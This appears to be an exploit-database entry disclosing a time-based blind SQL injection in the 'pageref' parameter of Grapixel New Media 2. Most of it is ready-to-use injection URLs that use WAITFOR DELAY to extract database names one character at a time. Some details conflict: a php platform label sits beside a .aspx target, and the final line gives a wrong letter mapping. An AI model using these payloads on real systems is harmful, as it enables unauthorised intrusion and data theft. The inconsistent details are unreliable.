Grapixel New Media 2 - 'pageref' SQL Injection

Author: Berk Dusunur
type: webapps
platform: php
port: 
date_added: 2018-10-29 
date_updated: 2018-10-29 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: Grapixel New Media 2 - 'pageref' SQL Injection
# Exploit Author: Berk Dusunur
# Google Dork: N/A
# Type: Web App
# Date: 2018-10-26
# Vendor Homepage: http://www.grapixel.com
# Software Link: http://www.grapixel.com
# Affected Version: v2
# Tested on: MacosX
# CVE : N/A

#Proof Of Concept
# Time-Based sql injection is called a data extraction event with request response times
# with the server when there is no other way for it to extract aggressive data. It should
# be determined by sql injection type. I discovered blind time-based sql injection.
# Because single quotes didn't break the page structure, so I tried to get results
# using waitfor delay instead.

http://target/pages.aspx?pageref=[SQL]
http://target/pages.aspx?pageref=' waitfor delay '00:00:05'--;
http://target/pages.aspx?pageref=';IF(UNICODE(SUBSTRING((SELECT DB_NAME(12)),1,1))>80) WAITFOR DELAY '0:0:5'--
http://target/pages.aspx?pageref=';IF(UNICODE(SUBSTRING((SELECT DB_NAME(12)),1,1))>81) WAITFOR DELAY '0:0:5'--

Ascii equivalent of 80,81 figures The first database, wait 5 seconds if the first letter is "p"